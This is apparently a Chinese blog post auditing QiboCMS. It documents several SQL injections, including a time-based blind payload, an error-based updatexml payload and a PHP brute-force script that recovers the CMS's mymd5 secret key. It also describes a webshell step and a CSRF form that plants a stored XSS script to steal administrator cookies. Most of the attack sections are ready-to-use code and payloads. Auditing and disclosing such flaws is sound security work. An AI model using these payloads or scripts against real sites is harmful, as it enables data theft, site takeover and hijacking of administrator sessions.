[代码审计day2]齐博CMS

访问: 5 次

前言

随缘找了一个cms,那就开干呗

目录结构

image.png

重点文件

几乎所有文件都包含了do/global.php,而global.php中包含有/inc/common.inc.php。

# common.inc.php

$_POST=Add_S($_POST);
$_GET=Add_S($_GET);
$_COOKIE=Add_S($_COOKIE);

function Add_S($array){
    foreach($array as $key=>$value){
        if(!is_array($value)){
            $value=str_replace("&#x","& # x",$value);    //过滤一些不安全字符
            $value=preg_replace("/eval/i","eva l",$value);    //过滤不安全函数
            !get_magic_quotes_gpc() && $value=addslashes($value);
            $array[$key]=$value;
        }else{
            $array[$key]=Add_S($array[$key]); 
        }
    }
    return $array;
}

if(!ini_get('register_globals')){
    @extract($_FILES,EXTR_SKIP);
}

foreach($_COOKIE AS $_key=>$_value){
    unset($$_key);
}
foreach($_POST AS $_key=>$_value){
    !ereg("^\_[A-Z]+",$_key) && $$_key=$_POST[$_key];
}
foreach($_GET AS $_key=>$_value){
    !ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key];
}

这里对get、post的输入都做了转义,也实现了全局注册(这里很大隐患,待会见)

SQL注入1

在/member/userinfo.php
image.png

function filtrate($msg){
    //$msg = str_replace('&','&',$msg);
    //$msg = str_replace(' ',' ',$msg);
    $msg = str_replace('"','"',$msg);
    $msg = str_replace("'",''',$msg);
    $msg = str_replace("<","&lt;",$msg);
    $msg = str_replace(">","&gt;",$msg);
    $msg = str_replace("\t","   &nbsp;  &nbsp;",$msg);
    //$msg = str_replace("\r","",$msg);
    $msg = str_replace("   "," &nbsp; ",$msg);
    return $msg;
}

这里传入的参数经过了filtrate过滤,将一些特殊字符转化为字符实体,看起来防御很稳。
image.png

function replace_bad_word($str){
    global $Limitword;
    @include_once(ROOT_PATH."data/limitword.php");
    foreach( $Limitword AS $old=>$new){
        strlen($old)>2 && $str=str_replace($old,trim($new),$str);
    }
    return $str;
}
# data/limitword.php
<?php 
$Limitword['造反']='造**';
$Limitword['法轮功']='法**功';

经过filtrate过滤之后还替换了一些"不健康"的字,不健康的字就两个(并没有禁x赌毒),这里的str_replace()里面的两个变量是我们可控的,因为实现了全局注册。
image.png

//修改用户任意信息
    function edit_user($array) {
        if(!$array[username]){
            $rs = $this->get_info($array[uid]);
            if(!$rs[username]){
                return ;
            }
            $array[username] = $rs[username];            
        }
        $this->edit_passport($array);
        $fieldArry=table_field("{$this->pre}memberdata");
        foreach($array AS $key=>$value){
            if($key=='uid'||$key=='password'||$key=='username'||!in_array($key,$fieldArry)){
                continue;
            }
            $sqlDB[]="`{$key}`='$value'";
        }
        if($sqlDB){
            $this->db->query("UPDATE {$this->pre}memberdata SET ".implode(",",$sqlDB)." WHERE username='$array[username]'");
        }        
    }


//仅修改通行证邮箱与密码
    function edit_passport($array) {
        global $webdb;

        if( $webdb[emailOnly]&&$array[email] ){
            $r=$this->check_emailexists($array[email]);
            if($r && $r[username]!=$array[username]){                
                showerr("当前邮箱存在了,请更换一个!");
            }
        }

        if(eregi("^pwbbs",$webdb[passport_type])){
            if($array[password]){
                $array[password] = md5($array[password]);
                $sql[]="password='$array[password]'";
            }
            if($array[email]){
                $sql[]="email='$array[email]'";
            }
            if($sql){
                $this->db->query("UPDATE {$webdb[passport_pre]}members SET ".implode(",",$sql)." WHERE username='$array[username]' ");
                return 1;
            }
        }elseif(defined("UC_CONNECT")){
            $rs = uc_user_edit($array[username] , '' , $array[password] , $array[email] , 1 );
            return $rs;
        }else{
            if($array[password]){
                $array[password] = md5($array[password]);
                $this->db->query("UPDATE {$this->pre}members SET password='$array[password]' WHERE username='$array[username]' ");
                return 1;
            }            
        }
    }

image.png
很明显在update的时候进行了sql语句拼接。语句类似如下

update qb_memberdata set `email`='asd@qq.com',`icon`='',`sex`='',`baby`='',.....,`truename`='',`provinceid`='',`citvid`='' where username='xxxx'

到这里,看似过滤都很稳,但是!前面也说了,它实现了全局注册,这个很致命。那么我们要怎么利用这个全局注册逃逸出单引号呢?

<?php
/**
 * @Author: Marte
 * @Date:   2019-02-19 23:33:33
 * @Last Modified by:   Marte
 * @Last Modified time: 2019-02-20 00:08:41
 */
$_POST=Add_S($_POST);
$_GET=Add_S($_GET);
$_COOKIE=Add_S($_COOKIE);

function Add_S($array){
    foreach($array as $key=>$value){
        if(!is_array($value)){
            $value=str_replace("&#x","& # x",$value);   //过滤一些不安全字符
            $value=preg_replace("/eval/i","eva l",$value);  //过滤不安全函数
            !get_magic_quotes_gpc() && $value=addslashes($value);
            $array[$key]=$value;
        }else{
            $array[$key]=Add_S($array[$key]);
        }
    }
    return $array;
}
foreach($_COOKIE AS $_key=>$_value){
    unset($$_key);
}
foreach($_POST AS $_key=>$_value){
    !ereg("^\_[A-Z]+",$_key) && $$_key=$_POST[$_key];
}
foreach($_GET AS $_key=>$_value){
    !ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key];
}

var_dump($_GET);
function replace_bad_word($str){
    global $Limitword;
    foreach( $Limitword AS $old=>$new){
        $str=str_replace($old,trim($new),$str);
    }
    return $str;
}
$a=replace_bad_word($a);
var_dump($a);

image.png
这里有用str_replace()操作之后成功逃逸出,可以转义后面的单引号,于是就舒服了。
image.png

SQL注入2

$_POST=Add_S($_POST);
$_GET=Add_S($_GET);
$_COOKIE=Add_S($_COOKIE);
...
if(!ini_get('register_globals')){
    @extract($_FILES,EXTR_SKIP);
}

这段代码把接收到的$_file请求数组注册成了全局变量,而并没有对这些变量的值进行过滤。

利用点

在/member/comment.php

if($job=='del'){
    foreach( $cidDB AS $key=>$value){
        $rs=$db->get_one("SELECT aid FROM {$pre}comment WHERE cid='$value'");
        $erp=get_id_table($rs[aid]);
        $rsdb=$db->get_one("SELECT C.cid,C.uid AS commentuid,C.aid,A.uid,A.fid FROM {$pre}comment C LEFT JOIN {$pre}article$erp A ON C.aid=A.aid WHERE C.cid='$value'");
        if($rsdb[uid]==$lfjuid||$rsdb[commentuid]==$lfjuid||$web_admin||in_array($rsdb[fid],$fiddb)){
            $db->query("DELETE FROM {$pre}comment WHERE cid='$rsdb[cid]'");
        }
        $db->query("UPDATE {$pre}article$erp SET comments=comments-1 WHERE aid='$rsdb[aid]'");
    }
    refreshto("$FROMURL","删除成功",0);
}

在代码第三行进行直接拼接,那么这里就造成的SQL注入。但是这个$value在两句sql语句中利用了,所以这里用第一个语句,第二个会报错,所以利用时间盲住的方式来获得数据。

a' or (select case when (substr(user() from 1 for 1)='r') then sleep(6) else 1 end ) or '

image.png
image.png

SQL注入3

在member/special.php

elseif($job=="show_BBSiframe"){
    $rsdb=$db->get_one("SELECT * FROM {$pre}special WHERE uid='$lfjuid' AND id='$id'");
    ...
    if($type=='myatc'||$type=='all')
{
...
$showpage=getpage("{$TB_pre}threads","WHERE $SQL","",$rows);

function getpage($table,$choose,$url,$rows=20,$total=''){
    global $page,$db;
    if(!$page){
        $page=1;
    }
    //当存在$total的时候.就不用再读数据库
    if(!$total && $table){
        $query=$db->get_one("SELECT COUNT(*) AS num  FROM $table $choose");
        $total=$query['num'];
    }
    $totalpage=@ceil($total/$rows);
    $nextpage=$page+1;
    $uppage=$page-1;
    if($nextpage>$totalpage){
        $nextpage=$totalpage;
    }
    if($uppage<1){
        $uppage=1;
    }
    $s=$page-3;
    if($s<1){
        $s=1;
    }
    $b=$s;
    for($ii=0;$ii<6;$ii++){
        $b++;
    }
    if($b>$totalpage){
        $b=$totalpage;
    }
    for($j=$s;$j<=$b;$j++){
        if($j==$page){
            $show.=" <a href='#'><font color=red>$j</font></a>";
        }else{
            $show.=" <a href=\"$url&page=$j\" title=\"第{$j}页\">$j</a>";
        }
    }
    $showpage="<a href=\"$url&page=1\" title=\"首页\">首页</A> <a href=\"$url&page=$uppage\" title=\"上一页\">上一页</A>  {$show}  <a href=\"$url&page=$nextpage\" title=\"下一页\">下一页</A> <a href=\"$url&page=$totalpage\" title=\"尾页\">尾页</A> <a href='#'><font color=red>$page</font>/$totalpage/$total</a>";
    if($totalpage>1){
        return $showpage;
    }
}

这里最终执行的语句是

SELECT COUNT(*) AS num  FROM $table $choose

由于没有用单引号,所以存在注入,payload如下
image.png

SQL注入4--->getshell

在/do/activate.php中

把传入的md5_id字符串解密得到username、password,然后把username出纳入get_allinfo

然后传入get_passport函数,最后在该函数中实行拼接,并没有任何过滤。
image.png

本地操作

function mymd5($string,$action="EN",$rand=''){ //字符串加密和解密 
    global $webdb;
    $secret_string = $webdb[mymd5].$rand.'5*j,.^&;?.%#@!'; //绝密字符串,可以任意设定 
    if(!is_string($string)){
        $string=strval($string);
    }
    if($string==="") return ""; 
    if($action=="EN") $md5code=substr(md5($string),8,10); 
    else{ 
        $md5code=substr($string,-10); 
        $string=substr($string,0,strlen($string)-10); 
    }
    //$key = md5($md5code.$_SERVER["HTTP_USER_AGENT"].$secret_string);
    $key = md5($md5code.$secret_string); 
    $string = ($action=="EN"?$string:base64_decode($string)); 
    $len = strlen($key); 
    $code = "";
    for($i=0; $i<strlen($string); $i++){ 
        $k = $i%$len; 
        $code .= $string[$i]^$key[$k]; 
    }
    $code = ($action == "DE" ? (substr(md5($code),8,10)==$md5code?$code:NULL) : base64_encode($code)."$md5code");
    return $code; 
}
echo mymd5("aaa' and (updatexml(1,concat(0x7e,(substring((select user()),1,32)),0x7e),1))#\taaaa",'EN');
#AFEDHhhUDwEYTkRBBlBAA0AIDxtUSFMKDwBUFUkCSQQEHEpKTVcSEUoPX1ZKGUcDVAAAR0URQwATSxxITQMdAFMZSxUITVYAEUoAGEsSPQdZBAI=37d527d37d

image.png

远程操作

注密码

纵观来看此次本地操作最关键是要知道$webdb[mymd5],而这个值是在cms安装的时候随机生成的,现在需要得到它,那么就先看看这个值怎么生成的,
image.png
image.png

$webdb[mymd5]是一个以(double)microtime() * 1000000为随机种子的十位随机字符串,种子0-999999,而这个貌似可以爆破,可是爆破需要先知道密文,从哪里来得到密文呢?全局搜索一下看看别的地方用mymd5函数
image.png
image.png
然而要进去这个else语句,需要条件,这个条件不可控,寻找下一个目标
image.png
于是注册用户名为asdasd,密码为asdasd,查看cookie,接下来就是爆破了
image.png

提取:AwpSUFcCBVVWBFYAUQtXBlFVAQ0JXQVRAwALB1UGB1I=da3cc76036

这里漏洞补成了这样,但还是太少了,一样可以爆,这里我就不爆了,上个脚本。

image.png

<?php
function get_webdb_mymd5(){
    global $passwd;
    global $md5_id;
    echo $md5_id;
    echo $passwd;
    global $webdb_mymd5;
    for($seed = 999999;$seed>=0;$seed--){
        print "[-] $seed\n";
        $webdb_mymd5=rands($seed);
        $payload = mymd5(md5($passwd));
        print $payload;
        if($payload==$md5_id){
            print $payload.rands($seed);;
            print " [-]$webdb_mymd5 \n";
            return $webdb_mymd5;
        }
    }
    die("no \n");
}
function mymd5($string,$action="EN",$rand=''){ //字符串加密和解密
    global $webdb_mymd5;
    $secret_string = $webdb_mymd5.$rand.'5*j,.^&;?.%#@!'; //绝密字符串,可以任意设定
    if(!is_string($string)){
        $string=strval($string);
    }
    if($string==="") return "";
    if($action=="EN") $md5code=substr(md5($string),8,10);
    else{
        $md5code=substr($string,-10);
        $string=substr($string,0,strlen($string)-10);
    }
    //$key = md5($md5code.$_SERVER["HTTP_USER_AGENT"].$secret_string);
    $key = md5($md5code.$secret_string);
    $string = ($action=="EN"?$string:base64_decode($string));
    $len = strlen($key);
    $code = "";
    for($i=0; $i<strlen($string); $i++){
        $k = $i%$len;
        $code .= $string[$i]^$key[$k];
    }
    $code = ($action == "DE" ? (substr(md5($code),8,10)==$md5code?$code:NULL) : base64_encode($code)."$md5code");
    return $code;
}
function rands($seed,$length=10) {
    $hash = '';
    $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
    $max = strlen($chars) - 1;
    mt_srand($seed);
    for($i = 0; $i < $length; $i++) {
        $hash .= $chars[mt_rand(0, $max)];
    }
    $hash=strtolower($hash);
    return $hash;
}

$md5_id="AwpSUFcCBVVWBFYAUQtXBlFVAQ0JXQVRAwALB1UGB1I=da3cc76036";
$passwd="asdasd";
get_webdb_mymd5();
?>

image.png

爆出key后就可以SQL注入啦

GETSHELL

注出admin的密码,在管理后台增加栏目出


菜刀
image.png

存储XSS+csrf拿前台admin

CSRF

<form action="http://127.0.0.1/v7/admin/index.php?lfj=center&action=config" method="post" name="c">

<input type="text" name="webdbs[copyright]" value="<script src=http://127.0.0.1/xss/probe.js></script>"/>

</form> <script> document.c.submit(); </script>

这里之所以能够写进webdbs[copyright],可以参考前面的过滤,并没有对xss的关键词做过滤。而webdbs[copyright]在每个前台有,当admin在任意地方登陆,即可拿到cookie
image.png
image.png
然后再前台的cookie换掉即变成了admin用户
image.png
但这里不知道为啥后台进不去(仍在分析当中)

END

今天先写到这吧,未完待续。

署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。
Edit with markdown